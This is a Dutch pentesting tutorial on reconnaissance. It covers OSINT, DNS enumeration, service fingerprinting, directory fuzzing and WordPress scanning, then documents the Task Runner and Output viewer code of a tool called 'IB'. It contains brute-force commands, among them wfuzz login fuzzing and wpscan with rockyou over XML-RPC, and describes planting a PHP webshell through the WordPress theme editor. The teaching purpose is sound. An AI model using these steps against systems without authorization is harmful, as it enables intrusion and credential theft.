De pentester is, in wezen, een cartograaf. Voordat er ook maar een enkele exploit wordt afgevuurd, voordat er een wachtwoord wordt gekraakt of een shell wordt verkregen, moet het landschap in kaart worden gebracht. Welke systemen staan er? Welke poorten zijn open? Welke software draait erachter? Wie beheert het? Wie heeft zes jaar geleden een domeinnaam geregistreerd met zijn persoonlijke Gmail-adres en is dat vervolgens totaal vergeten?

Dit proces – verkenning, reconnaissance, recon – is het fundament waarop elk assessment rust. Sla het over, en je bent een ontdekkings- reiziger die zonder kaart of kompas de oceaan op vaart. Je kunt geluk hebben. Maar waarschijnlijk vaar je gewoon in cirkels rond en eindig je op dezelfde plek waar je begon, alleen dan met minder tijd en meer frustratie.

En laten we eerlijk zijn: de meeste organisaties maken het je niet moeilijk. Ze laten hun infrastructuur rondslingeren als iemand die net verhuisd is en de dozen nog niet heeft uitgepakt. Drie jaar later staan die dozen er nog. Niemand weet meer wat erin zit, maar niemand durft ze weg te gooien. Dat is ongeveer hoe de gemiddelde IT-omgeving eruitziet. En het is precies waarom verkenning zo effectief is.

Passieve verkenning: kijken zonder aan te raken

De kunst van het gluren

Er is een fundamenteel verschil tussen iemands voordeur intrappen en door het raam naar binnen kijken. Passieve verkenning is het tweede. Je verstuurt geen enkel pakket naar het doelwit. Je raakt niets aan. Je kijkt alleen naar informatie die al publiekelijk beschikbaar is – openbare registers, zoekmachines, certificaatdatabases, sociale media. Het is het equivalent van het lezen van iemands LinkedIn-profiel: je leert een hoop, en de ander heeft geen idee.

Dit is waar OSINT begint – Open Source Intelligence. Een term die klinkt alsof hij uit een Tom Clancy-roman komt, maar in de praktijk vooral neerkomt op: heel goed googelen.

Whois: het kadaster van het internet

Elke domeinnaam heeft een registratie. Net als een huis in het kadaster staat geregistreerd met een eigenaar, een adres, en een datum, heeft een domein een whois-record. En net als bij het kadaster zijn die gegevens vaak verrassend informatief.

whois target.com
whois TARGET_IP

Een whois-lookup vertelt je wie het domein heeft geregistreerd, wanneer, via welke registrar, en soms zelfs met welk e-mailadres en telefoonnummer. Veel organisaties gebruiken tegenwoordig privacy-services om deze gegevens af te schermen, maar je zou versteld staan van hoeveel dat niet doen. Of die het wel doen voor hun hoofddomein, maar vergeten voor die ene testomgeving die ze in 2019 hebben opgezet.

Het IP-adres whois geeft je informatie over het netblok – welke organisatie het IP-bereik bezit, welke ASN erbij hoort, en vaak een abuse-contactadres. Handig om de omvang van het doelwit te begrijpen.

DNS records: het telefoonboek

DNS is het telefoonboek van het internet, en net als een telefoonboek vertelt het je meer dan alleen telefoonnummers. Een organisatie kan haar website beveiligen als Fort Knox, maar als haar DNS-records publiekelijk haar interne structuur onthullen, is dat alsof je de kluisdeur vergrendelt maar de bouwtekeningen op straat legt.

De basisrecords die je wilt opvragen:

host target.com
host -t MX target.com
host -t TXT target.com
host -t NS target.com
host -t AAAA target.com

MX-records vertellen je welke mailserver het bedrijf gebruikt (Google Workspace? Microsoft 365? Een eigen server die al drie patchcycli achterloopt?). TXT-records bevatten vaak SPF-configuratie, DKIM-keys, en soms domeinverificatierecords voor allerlei cloudservices – een soort openbare boodschappenlijst van welke diensten de organisatie gebruikt. NS-records vertellen je wie de DNS beheert, wat op zichzelf al een aanwijzing is over de technische volwassenheid van het bedrijf.

Certificaat transparantie: de onbedoelde inventaris

Certificate Transparency logs zijn een van de mooiste cadeaus die het internet aan pentesters heeft gegeven. Elke keer dat een organisatie een TLS-certificaat aanvraagt, wordt dat geregistreerd in publiekelijk doorzoekbare logs. En omdat organisaties certificaten aanvragen voor al hun domeinen en subdomeinen – inclusief die interne testomgeving, die staging-server, en dat vergeten Jenkins-dashboard – krijg je een gratis inventaris van hun gehele webinfrastructuur.

# Zoek alle (sub)domeinen via Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq '.[].name_value' | sort -u

Het percentage-teken (%25, URL-encoded %) is een wildcard. Het resultaat is vaak een ontnuchterend lange lijst van subdomeinen waarvan de helft niet eens zou moeten bestaan. staging.target.com, dev-old.target.com, jenkins-test.target.com, api-v1-deprecated.target.com.

Het is alsof je in iemands laatje met oude sleutels kijkt. Ze weten zelf niet meer waar de helft van die sleutels op past, maar elk van die sleutels opent ergens een deur.

Google Dorks: de zoekmachine als wapen

Google indexeert alles. Dat is letterlijk haar bestaansreden. En soms indexeert ze dingen die niet geindexeerd hadden moeten worden. Google dorking is de kunst van het gebruik van geavanceerde zoekoperators om precies die dingen te vinden.

# Bestanden die niet openbaar horen te zijn
# site:target.com filetype:pdf
# site:target.com filetype:xlsx
# site:target.com ext:sql | ext:db | ext:bak

# Admin pagina's en login portals
# site:target.com ext:php inurl:admin
# site:target.com inurl:login

# Directory listings (altijd een slecht teken)
# site:target.com intitle:"index of" "parent directory"

Die laatste – intitle:"index of" – is bijzonder vermakelijk. Een directory listing betekent dat een webserver de inhoud van een map gewoon toont, als een soort digitale etalage. Soms vind je er configuratiebestanden, database-backups, of een bestand genaamd passwords.txt dat – en dit is het mooie – inderdaad wachtwoorden bevat.

Het is de digitale equivalent van een bedrijf dat zijn kluissleutel aan een haakje bij de receptie hangt. Met een labeltje eraan. Waarop “kluissleutel” staat.

Shodan: de zoekmachine voor alles met een IP-adres

Waar Google het web indexeert, indexeert Shodan het internet. Elke server, elke webcam, elke industriele controller, elke printer die iemand per ongeluk aan het internet heeft gehangen. Shodan scant constant het hele IPv4-bereik en slaat de banners op die services terugsturen.

# Zoek op hostname
shodan search hostname:target.com

# Bekijk een specifiek IP
shodan host TARGET_IP

# Zoek op software in een netrange
shodan search "Apache" net:TARGET_RANGE/24

Shodan laat je zoeken op software, versienummers, locatie, en organisatie. Je kunt ermee vinden welke Apache-versies een bedrijf draait, of ze ergens een MySQL-server open hebben staan, of er een onbeveiligde Elasticsearch-instance is die de volledige klantendatabase serveert aan iedereen die ernaar vraagt.

theHarvester: de stofzuiger

theHarvester combineert meerdere bronnen – zoekmachines, PGP-servers, LinkedIn, DNS – om e-mailadressen, subdomeinen en IP-adressen te verzamelen die bij een domein horen.

# Zoek met meerdere bronnen
theHarvester -d target.com -b google,bing,linkedin -l 500

# Of gewoon alles
theHarvester -d target.com -b all

E-mailadressen zijn goud waard. Ze vertellen je de naamconventie van het bedrijf (j.jansen@target.com? jan.jansen@target.com? jjansen@target.com?), waarmee je vervolgens een lijst van geldige gebruikersnamen kunt genereren. En die gebruikersnamen zijn weer bruikbaar voor wachtwoordaanvallen, Kerberos-enumeratie, en social engineering.

Recon-ng: het framework

Voor wie zijn verkenning wat gestructureerder wil aanpakken, is recon-ng een modulair framework dat verschillende OSINT-bronnen combineert in een werkbare omgeving.

recon-ng
# marketplace search github
# marketplace install recon/domains-hosts/google_site_web
# modules load recon/domains-hosts/google_site_web
# options set SOURCE target.com
# run

Het werkt als een soort Metasploit voor OSINT – je installeert modules, configureert opties, en laat ze los op je doelwit. Het verschil is dat je hier niets breekt; je verzamelt alleen informatie.

En mocht je denken dat dit allemaal overdreven is – dat geen enkel bedrijf zoveel informatie lekt via publieke bronnen – dan heb je duidelijk nog nooit een pentest gedaan. De hoeveelheid informatie die organisaties vrijwillig op internet pleuren is ronduit ontroerend. Het is alsof ze het je makkelijk willen maken. Alsof er ergens een ongeschreven regel bestaat die zegt: “Maak het de aanvaller zo comfortabel mogelijk.”

DNS enumeratie: dieper graven

Zone transfers: het grote cadeau

Passieve verkenning vertelt je veel, maar op een gegeven moment wil je dieper graven. DNS-enumeratie is de brug tussen passief en actief – je praat direct met nameservers, maar je scant geen systemen en je probeert geen exploits.

De heilige graal van DNS-enumeratie is de zone transfer. Een zone transfer (AXFR) is een mechanisme waarmee een secundaire nameserver een complete kopie van een DNS-zone opvraagt bij de primaire server. Het is bedoeld voor replicatie tussen nameservers. Het is niet bedoeld voor willekeurige mensen op internet.

Maar – en hier wordt het leuk – veel nameservers zijn zo geconfigureerd dat ze zone transfers aan iedereen toestaan.

# Zone transfer proberen
host -l target.com ns1.target.com
dig axfr target.com @ns1.target.com

# Met dnsrecon
dnsrecon -d target.com -t axfr

Als een zone transfer lukt, krijg je alles. Elk A-record, elk CNAME-record, elk intern hostname dat de beheerder heeft aangemaakt. dc01.internal.target.com. backup-nas.target.com. test-database-do-not-expose.target.com. Het is alsof je de complete plattegrond van een gebouw krijgt, inclusief de nooduitgangen en het kamertje waar de sysadmin zijn middagdutje doet.

Zijn zone transfers zeldzaam? Ja, steeds zeldzamer. Maar ze komen nog steeds voor. En als ze werken, dan heb je net in dertig seconden meer informatie vergaard dan in een uur googelen.

Subdomain bruteforce: de methodische aanpak

Als zone transfers niet werken – en dat is tegenwoordig vaker wel dan niet het geval – is subdomain bruteforce je volgende optie. Het concept is simpel: je neemt een woordenlijst met veelvoorkomende subdomeinnamen en probeert ze een voor een.

# Met dnsrecon
dnsrecon -d target.com -t brt \
    -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Met gobuster
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -t 50

De -t 50 flag bij gobuster zet het aantal threads – hoeveel gelijktijdige verzoeken er worden gedaan. Vijftig is een redelijk getal; hoog genoeg om snel te zijn, laag genoeg om de nameserver niet plat te leggen. Hoewel, als je de nameserver van het doelwit plat legt met een subdomain-bruteforce, dan hadden ze grotere problemen dan jij.

De kwaliteit van je resultaten staat of valt met je woordenlijst. SecLists – de culinaire bijbel van de pentester – bevat diverse lijsten, van de top 5000 meest voorkomende subdomeinen tot lijsten met meer dan een miljoen entries. Begin klein, escaleer als nodig.

Specifieke DNS records opvragen

Soms wil je niet bruteforcen maar chirurgisch te werk gaan. dig is je scalpel:

# Alle records opvragen
dig target.com ANY

# Specifieke types
dig target.com MX
dig target.com TXT

# Expliciet via een specifieke nameserver
dig @ns1.target.com target.com AXFR

Reverse DNS sweep

Een slimme truc: als je het IP-bereik van een organisatie kent (via whois), kun je een reverse DNS sweep doen – elk IP-adres opvragen en kijken of er een hostname aan gekoppeld is.

# Met dnsrecon
dnsrecon -r TARGET_RANGE/24

# Of handmatig (de brute-force methode)
for ip in $(seq 1 254); do host 10.0.0.$ip; done | grep -v "not found"

Die handmatige one-liner is niet elegant, maar hij werkt. En soms is dat alles wat telt.

Volledige DNS enumeratie

Het gereedschap dnsenum combineert veel van het bovenstaande in een enkele tool:

# Standaard enumeratie
dnsenum target.com

# Met een specifieke nameserver
dnsenum --dnsserver ns1.target.com target.com

dnsenum probeert zone transfers, doet reverse lookups, bruteforced subdomeinen, en zoekt naar delegatierecords – allemaal automatisch. Het is de Zwitserse legermessen onder de DNS-tools.

Service fingerprinting: wat draait daar?

Banner grabbing: de eerste indruk

Je hebt nu een lijst met IP-adressen, hostnamen, en subdomeinen. De volgende vraag is: wat draait er op die systemen? Welke software, welke versies, welke configuratie?

Banner grabbing is de meest directe manier om dat te achterhalen. Veel services sturen bij het openen van een verbinding een banner – een begroetingsbericht dat vertelt welke software het is en welke versie.

# Netcat voor handmatig banner grabbing
nc -nv TARGET_IP 80
nc -nv TARGET_IP 22
nc -nv TARGET_IP 25
nc -nv TARGET_IP 21

Bij poort 80 typ je vervolgens HEAD / HTTP/1.0 gevolgd door twee enters, en de webserver vertelt je keurig dat het Apache 2.4.49 is. Of nginx 1.18. Of IIS 10.0. Soms zelfs met het besturingssysteem erbij. Het is alsof je bij een bedrijf aanklopt en de receptionist je spontaan vertelt welk alarmmodel ze gebruiken, wie de sleutels heeft, en om hoe laat de nachtbewaker pauze heeft.

Dit zou grappig zijn als het niet zo waar was.

HTTP headers analyseren

Webservers zijn bijzonder spraakzaam. De HTTP-headers die ze terugsturen bevatten een schat aan informatie:

# Bekijk de headers
curl -I https://target.com

De Server-header vertelt je de webserversoftware. X-Powered-By onthult vaak de backend-technologie (PHP, ASP.NET, Express). De Set-Cookie-header kan frameworks onthullen – een cookie genaamd JSESSIONID schreeuwt “Java!”, PHPSESSID schreeuwt “PHP!”, en ASP.NET_SessionId schreeuwt “We hebben in 2008 een architecturale keuze gemaakt en sindsdien niet meer achteromgekeken!”

Headers als X-AspNet-Version, X-AspNetMvc-Version, en X-Generator zijn soms letterlijk de versienummers die je nodig hebt om een CVE te zoeken. Het is informatie die standaard wordt meegestuurd tenzij iemand de moeite neemt om het uit te zetten. En het uitvinden van wie die moeite neemt: dat is onderdeel van je assessment.

Technologie detectie: WhatWeb en Wappalyzer

Voor een uitgebreidere analyse heb je geautomatiseerde tools:

# WhatWeb
whatweb target.com
whatweb -a 3 target.com  # Aggressief

# Nmap service versie detectie
nmap -sV -p 80,443,8080 target.com

WhatWeb probeert de gebruikte technologieen te identificeren door naar specifieke patronen te kijken – HTML-structuren, JavaScript- bibliotheken, CSS-frameworks, CMS-vingerafdrukken. Het vertelt je niet alleen dat er een webserver draait, maar dat het een WordPress 5.8 site is met het Divi-thema, jQuery 3.6, en Google Analytics.

Wappalyzer doet hetzelfde maar als browser-extensie, wat handig is voor passieve analyse terwijl je door de site navigeert.

IB’s scan.sh script integreert WhatWeb automatisch:

# Uit scan.sh: voor elke host met HTTP
whatweb ${yolo} > raw/recon/whatweb-${yolo}.txt

Elk resultaat wordt opgeslagen in raw/recon/ en is vervolgens zichtbaar in de Output viewer – maar daarover later meer.

Nmap service scanning

Nmap blijft de gouden standaard voor service-identificatie:

# Service en versie detectie met web-specifieke scripts
nmap -p80,443,8080 -sV \
    --script=http-enum,http-methods,http-title target

Het http-enum script probeert bekende paden te vinden (admin panels, configuratiebestanden), http-methods controleert welke HTTP-methoden zijn toegestaan (PUT en DELETE op een webserver is zelden een goed teken), en http-title haalt de paginatitel op.

Directory en bestand fuzzing: het doorzoeken van de kast

Waarom fuzzing werkt

Stel je voor dat je een gebouw binnenwandelt. De receptie verwijst je naar de vergaderruimte. Maar jij bent niet geinteresseerd in de vergaderruimte. Jij wilt weten welke andere kamers er zijn. De server- ruimte. Het archief. Het kantoor van de directeur waar die ene laptop staat met de onversleutelde database.

Directory fuzzing doet precies dat. Je probeert systematisch URL-paden om te ontdekken welke pagina’s, mappen, en bestanden er op een webserver staan die niet gelinkt zijn vanuit de navigatie. Verborgen admin-panels. Backup-bestanden. Configuratiebestanden. API-endpoints die niemand heeft gedocumenteerd maar die wel gewoon antwoorden.

Gobuster: snel en doeltreffend

Gobuster is de arbeidspaard van directory fuzzing – snel, simpel, en effectief:

# Basis directory bruteforce
gobuster dir -u http://target \
    -w /usr/share/wordlists/dirb/common.txt \
    -t 50 \
    -b 301,302

# Met extensies (essentieel!)
gobuster dir -u http://target \
    -w /usr/share/wordlists/dirb/common.txt \
    -x php,html,txt,bak \
    -t 50

Die -x flag is cruciaal. Zonder extensies zoek je alleen naar directories. Met -x php,html,txt,bak zoek je naar elke entry in je woordenlijst plus elke entry met elk van die extensies. Dus admin wordt admin, admin.php, admin.html, admin.txt, en admin.bak. Die laatste – .bak – is de reden dat pentesters goede wijn kunnen kopen. Het aantal keren dat een ontwikkelaar een backup van een configuratiebestand maakt door er .bak achter te plakken en het dan op de webserver laat staan, is… ontmoedigend.

De -b 301,302 flag filtert redirects uit de resultaten. Soms wil je die zien (een redirect kan interessant zijn), soms niet. Experimenteer.

Gobuster voor subdomeinen en virtual hosts

Gobuster kan meer dan directories:

# Subdomain bruteforce via DNS
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Virtual host bruteforce
gobuster vhost -u http://target \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

VHOST-bruteforce is bijzonder handig wanneer meerdere websites op hetzelfde IP-adres draaien (shared hosting, reverse proxies). De server reageert anders afhankelijk van welke Host-header je meestuurt – en gobuster probeert ze allemaal.

Wfuzz: de flexibele optie

Wfuzz is flexibeler dan gobuster en kan naast directories ook parameters en waarden fuzzen:

# Directory fuzzing
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
    --hc 301,404,403 http://target/FUZZ

# Parameter discovery (welke parameters accepteert een pagina?)
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    --hc 404 "http://target/page?FUZZ=test"

# Parameter value fuzzing
wfuzz -c -z file,wordlist.txt --hc 404 "http://target/page?param=FUZZ"

# POST data fuzzing (login bruteforce)
wfuzz -c -z file,wordlist.txt --hc 404 \
    -d "user=admin&pass=FUZZ" http://target/login

De kracht van wfuzz zit in het FUZZ-keyword. Overal waar je FUZZ plaatst, wordt elke entry uit je woordenlijst geprobeerd. URL-pad? FUZZ. Parameternaam? FUZZ. Parameterwaarde? FUZZ. Cookie? FUZZ. Het is als een universele sleutel die in elk slot wordt geprobeerd.

De --hc flag verbergt specifieke HTTP-statuscodes. --hc 404 verbergt “Not Found”-responses, zodat je alleen de hits ziet. Andersom kun je --sc 200,301 gebruiken om alleen specifieke codes te tonen.

IB’s scan.sh integreert wfuzz in de geautomatiseerde workflow:

# Uit scan.sh: voor elke host met HTTP
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    --sc 200,202,204,301,302,307,403 ${yolo}/FUZZ \
    > raw/recon/wfuzz-${yolo}.txt

Merk op dat scan.sh de --sc (show codes) variant gebruikt in plaats van --hc (hide codes) – het toont alleen de interessante statuscodes. De output gaat rechtstreeks naar raw/recon/, waar de Output viewer het oppikt.

Custom woordenlijsten met CeWL

Generieke woordenlijsten zijn goed, maar custom woordenlijsten zijn beter. CeWL (Custom Word List generator) crawlt een website en extraheert woorden om een op maat gemaakte woordenlijst te genereren:

# Crawl 2 niveaus diep, woorden van minimaal 5 tekens
cewl -d 2 -m 5 -w custom_wordlist.txt http://target

Als een bedrijf het over “ProjectPhoenix” heeft op hun website, is de kans groot dat er ergens een /projectphoenix/-directory of een projectphoenix-admin-subdomein bestaat. CeWL vindt die termen en je kunt ze toevoegen aan je fuzzing-woordenlijst.

Hakrawler: de spin

Hakrawler combineert webcrawling met Wayback Machine-data:

# Crawl de site
echo "http://target" | hakrawler

# Inclusief historische data van Wayback Machine
echo "http://target" | hakrawler -s wayback

De Wayback Machine is de digitale schoenendoos met oude foto’s van het internet. Pagina’s die al lang zijn verwijderd, staan er vaak nog. En als een bedrijf drie jaar geleden een admin-panel had op /admin dat ze sindsdien hebben verwijderd… tja, misschien hebben ze het verwijderd uit de navigatie maar niet van de server. Hakrawler helpt je die historische paden te vinden.

Woordenlijsten kiezen en aanpassen

De keuze van woordenlijst bepaalt het succes van je fuzzing. Een paar richtlijnen:

Begin altijd klein en escaleer. common.txt bevat ~4600 entries en is in seconden klaar. directory-list-2.3-medium.txt bevat ~220.000 entries en kan minuten tot uren duren, afhankelijk van de snelheid van de server en je threadcount.

CMS scanning: WordPress en de rest

WordPress: het internet’s populairste doelwit

WordPress drijft ruwweg 43% van alle websites op het internet. Dat is een ongelooflijk getal. Het betekent ook dat als je een pentest doet, de kans bijna een op twee is dat je ergens een WordPress-site tegenkomt. En WordPress-sites zijn… hoe zeg je dat beleefd… vaak niet goed onderhouden.

Het probleem zit niet in WordPress zelf – de core is redelijk veilig. Het probleem zit in plugins. WordPress heeft meer dan 60.000 plugins, en de kwaliteit varieert van “professioneel geschreven door een team van senior developers” tot “in een weekend in elkaar gehackt door iemand die net zijn eerste PHP-tutorial heeft gevolgd.” En het zijn die laatste plugins die op productiesites draaien, drie jaar zonder update, met bekende kwetsbaarheden die je kunt googelen.

WPScan: de WordPress-specialist

WPScan is de tool voor WordPress-security:

# Basis scan: enumerate alles
wpscan --url http://TARGET --enumerate ap,at,cb,dbe

# Gebruikers enumereren
wpscan --url http://TARGET --enumerate u

# Agressieve plugin detectie
wpscan --url http://TARGET --enumerate ap --plugins-detection aggressive

# Thema enumeratie
wpscan --url http://TARGET --enumerate at

De --enumerate flags bepalen wat er wordt gescand: - ap – alle plugins - at – alle thema’s - cb – config backups - dbe – database exports - u – gebruikers - vp – kwetsbare plugins (vereist API-token) - vt – kwetsbare thema’s (vereist API-token)

WPScan met API-token

De gratis versie van WPScan vindt plugins en thema’s, maar om te weten of ze kwetsbaar zijn, heb je een API-token nodig:

# Met API-token: vulnerability database
wpscan --url http://TARGET --api-token YOUR_TOKEN --enumerate vp,vt

De API-token koppelt je scan aan de WPVulnDB-database, die CVE-details en exploit-informatie bevat voor bekende WordPress-kwetsbaarheden. De gratis tier biedt 25 scans per dag, wat voor de meeste assessments ruim voldoende is.

Password brute force via WPScan

WPScan kan ook wachtwoorden bruteforcen:

# Enkele gebruiker
wpscan --url http://TARGET -U admin \
    -P /usr/share/wordlists/rockyou.txt

# Meerdere gebruikers via XML-RPC
wpscan --url http://TARGET -U users.txt \
    -P /usr/share/wordlists/rockyou.txt \
    --password-attack xmlrpc

De --password-attack xmlrpc optie is slimmer dan een standaard login-bruteforce. XML-RPC staat het toe om meerdere wachtwoorden per verzoek te proberen, wat sneller is en minder opvalt in logs. Althans, het zou minder opvallen als beheerders hun logs zouden lezen.

Handmatige WordPress checks

Soms is handmatig werk sneller:

# WordPress versie
curl -s http://TARGET/readme.html

# Gebruikers via de REST API
curl -s http://TARGET/wp-json/wp/v2/users

# XML-RPC beschikbaar?
curl -s http://TARGET/xmlrpc.php

# Bekende paden
# http://TARGET/wp-login.php
# http://TARGET/wp-admin/

Die REST API voor gebruikers is een klassieker. Standaard geeft WordPress een JSON-lijst van alle gebruikers terug als je /wp-json/wp/v2/users opvraagt. Met namen. En slugs. En avatar-URLs. Het is alsof je bij een bedrijf aanklopt en de receptionist je een organigram overhandigt met alle namen, functies, en pasfoto’s erbij.

En hier is de kicker: na het vinden van geldige gebruikersnamen, en na het kraken van het wachtwoord van een admin-account, is het pad naar een webshell verbazingwekkend kort:

Appearance -> Theme Editor -> 404.php -> [plak je PHP-shell]

Dat is het. Drie klikken en je hebt code-executie op de server. WordPress maakt het zo makkelijk om een themabestand te bewerken dat het bijna een feature is in plaats van een kwetsbaarheid.

Andere CMS-scanners

WordPress is niet het enige CMS. Voor andere platforms:

Het patroon is hetzelfde: identificeer het CMS, gebruik de gespecialiseerde scanner, zoek naar bekende kwetsbaarheden en misconfiguraties.

De IB Task Runner: scans vanuit het dashboard

Waarom klikken als je ook kunt klikken?

Tot nu toe hebben we tools besproken die je vanuit de terminal uitvoert. Dat werkt prima, maar IB biedt een elegantere optie: de Task Runner. Het is een webinterface waarmee je voorgedefinieerde taken kunt starten, monitoren, en de output kunt bekijken – allemaal vanuit je browser.

Nu denk je misschien: “Waarom zou ik een webinterface gebruiken als ik een terminal heb?” Goeie vraag. Het antwoord is drieledig:

1. Parallellisme. Je kunt meerdere scans tegelijk starten en ze allemaal monitoren in een enkel dashboard.
2. Persistentie. De output wordt opgeslagen en is later terug te vinden via de Output viewer.
3. Reproduceerbaarheid. De taken zijn voorgedefinieerd met gevalideerde parameters, dus je krijgt consistente resultaten.

Hoe de Task Runner werkt

De Task Runner is gebouwd als een Flask Blueprint in tasks.py. Het hart is een Python dictionary genaamd _TASKS die elke beschikbare taak definieert:

_TASKS = {
    "scan": {
        "label": "Network scan (nmap)",
        "group": "recon",
        "desc": "Nmap TCP/UDP scan, nuclei, whatweb, wfuzz",
        "cmd": ["bash", "scan.sh"],
        "args": [
            {
                "name": "interface",
                "label": "Interface / IP",
                "placeholder": "eth0, tun0 of 10.0.0.1",
                "required": True,
                "pattern": "ip_or_iface",
            },
            {
                "name": "naam",
                "label": "Scan naam",
                "placeholder": "engagement-name",
                "required": True,
                "pattern": "safe_name",
            },
            {
                "name": "hosts",
                "label": "Hosts / range",
                "placeholder": "10.1.2.0/24",
                "required": True,
                "pattern": "ip_or_iface",
            },
        ],
    },
    # ...meer taken...
}

Elke taak heeft een label, een groep (voor categorisatie in de UI), een beschrijving, een commando, en optioneel argumenten. Argumenten worden gevalideerd tegen regex-patronen voordat ze aan het commando worden toegevoegd. Geen shell injection hier – shell=False in de subprocess-aanroep, en argumenten worden als aparte list-elementen doorgegeven.

De veiligheidslaag

Dit is een belangrijk punt, dus laten we er even bij stilstaan. De Task Runner voert alleen taken uit die in de _TASKS-dictionary staan. Je kunt niet willekeurig commando’s invoeren. Je kunt geen pijpen gebruiken, geen command substitution, geen shell-trucs. De argumenten worden gevalideerd tegen patronen:

_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")
_RE_SEARCH_TERM = re.compile(r"^[a-zA-Z0-9._:\-/]+$")

Een scannaam mag alleen letters, cijfers, underscores en streepjes bevatten. Een IP-adres of interface mag geen puntkomma’s of backticks bevatten. Path traversal (..) wordt expliciet geblokkeerd. Het is een allowlist-benadering in plaats van een denylist – als het niet op de lijst staat, mag het niet.

Ironisch genoeg is dit precies de benadering die de systemen die we testen zouden moeten gebruiken.

Taken starten

Via de webinterface (/dashboard/tasks) selecteer je een taak, vul je de parameters in, en klik je op “Run”. Achter de schermen wordt een POST-request gestuurd naar /api/tasks/run:

{
    "task": "scan",
    "args": {
        "interface": "tun0",
        "naam": "acme-corp",
        "hosts": "10.1.2.0/24"
    }
}

De Task Runner start het commando in een achtergrondthread, kent er een uniek run_id aan toe, en begint de output te bufferen. Elke taak heeft een maximum runtime van 600 seconden (10 minuten) – als een scan langer duurt, wordt het proces netjes beindigd.

Status volgen

Terwijl een taak draait, kun je de status en output opvragen:

# API call (of via de web UI)
GET /api/tasks/runs/{run_id}

De response bevat de status (running, success, failed), de starttijd, de return code, en de output – de laatste 500 regels, opgeslagen in een deque met maximale grootte:

_MAX_OUTPUT_LINES = 500

Die limiet van 500 regels voorkomt dat een verbose scan je geheugen opeet. Voor de volledige output kijk je naar de bestanden in raw/.

Beschikbare recon-taken

De Task Runner biedt de volgende reconnaissance-taken:

Zoeken in scanresultaten

Na een scan wil je snel specifieke hosts vinden. De search-taak is hiervoor gebouwd:

# Achter de schermen: search.sh
# Zoek alle hosts met HTTP in de nmap results
bash search.sh acme-corp http

# Zoek alle hosts met SSH
bash search.sh acme-corp ssh

# Zoek alle hosts met poort 3389 (RDP)
bash search.sh acme-corp 3389

Het script doorzoekt de .gnmap-output (greppable nmap format) en retourneert een schone lijst van IP-adressen. Simpel, effectief, en exact wat je nodig hebt om je volgende stap te plannen.

De Output viewer: alles terug te vinden

Waar gaan de resultaten heen?

Een scan produceert bestanden. Nmap schrijft .nmap, .gnmap, en .xml. WhatWeb schrijft tekstrapporten. Wfuzz schrijft resultaten. Nuclei schrijft bevindingen. Al die bestanden belanden in subdirectories onder raw/:

raw/
  nmap/           # Nmap scan output
  recon/          # WhatWeb, wfuzz, nuclei, etc.
  local/          # Lokale configuratie (ifconfig, id, etc.)
  loot/           # Geexfiltreerde data per client-IP
  exploits/       # Exploit output
  tls/            # TLS scan resultaten
  debug/          # Debug output
  mirror/         # Website mirrors
  spider/         # Spider output
  route/          # Routing informatie
  tooling/        # Overige tool output

De Output viewer (/dashboard/outputs) indexeert al deze directories en presenteert de bestanden in een doorzoekbare interface.

Hoe de Output viewer werkt

De implementatie in output_view.py is elegant in haar eenvoud. Bij elk verzoek wordt de lijst van _ALLOWED_BASES doorzocht:

_ALLOWED_BASES = [
    Path("raw/local"),
    Path("raw/nmap"),
    Path("raw/recon"),
    Path("raw/loot"),
    Path("raw/exploits"),
    Path("raw/tls"),
    Path("raw/debug"),
    Path("raw/mirror"),
    Path("raw/spider"),
    Path("raw/route"),
    Path("raw/tooling"),
    Path("raw/wget"),
]

Alleen bestanden in deze directories worden getoond, en alleen bestanden met toegestane extensies:

_ALLOWED_SUFFIXES = {
    ".txt", ".nmap", ".gnmap", ".xml", ".csv", ".log",
    ".md", ".json", ".html", ".htm", ".conf", ".cfg",
    ".ini", ".yaml", ".yml"
}

Geen binaire bestanden, geen executables, geen willekeurige bestandstypes. En elk bestand wordt gelezen tot maximaal 120KB (_MAX_READ_BYTES = 120_000) – groot genoeg voor de meeste scanresultaten, klein genoeg om de browser niet te laten vastlopen op een nmap-scan van een /16 netwerk.

De path resolution bevat een expliciete check tegen path traversal:

def _resolve_output(output_id):
    rel = output_id.replace("__", "/")
    path = Path(rel)
    # ... existence check ...
    normalized = path.resolve()
    for base in _ALLOWED_BASES:
        if normalized.is_relative_to(base.resolve()):
            return normalized
    return None

Als het geresolvede pad niet binnen een van de toegestane bases valt, wordt None geretourneerd en krijg je een 404. Geen ../../etc/passwd hier.

Praktisch voorbeeld: een volledige recon-workflow

Laten we het allemaal samenvoegen in een praktisch voorbeeld. Je hebt een pentest-opdracht voor Acme Corp, met scope 10.1.2.0/24.

Stap 1: Passieve verkenning (buiten IB)

# Whois
whois acme-corp.com

# Certificate Transparency
curl -s "https://crt.sh/?q=%25.acme-corp.com&output=json" \
    | jq '.[].name_value' | sort -u

# theHarvester
theHarvester -d acme-corp.com -b all

Stap 2: Netwerkscan via de Task Runner

Open /dashboard/tasks, selecteer “Network scan (nmap)”: - Interface: tun0 (je VPN-interface) - Scan naam: acme-corp - Hosts: 10.1.2.0/24

Klik “Run”. IB start scan.sh met die parameters. Het script: 1. Maakt de directory-structuur aan (raw/nmap/, raw/recon/, etc.) 2. Logt je lokale configuratie 3. Draait een TCP-poortscan 4. Draait een UDP-poortscan 5. Converteert output naar CSV 6. Start een full scan op elke gevonden host (in screen-sessies) 7. Draait WhatWeb, Wfuzz, en Nuclei op elke host met HTTP

Stap 3: Resultaten doorzoeken

Na de scan, gebruik de search-taak: - Scan naam: acme-corp - Zoekterm: http

Je krijgt een lijst van alle hosts met webservers. Herhaal met ssh, ftp, smb, rdp, 3389, et cetera.

Stap 4: Resultaten bekijken in de Output viewer

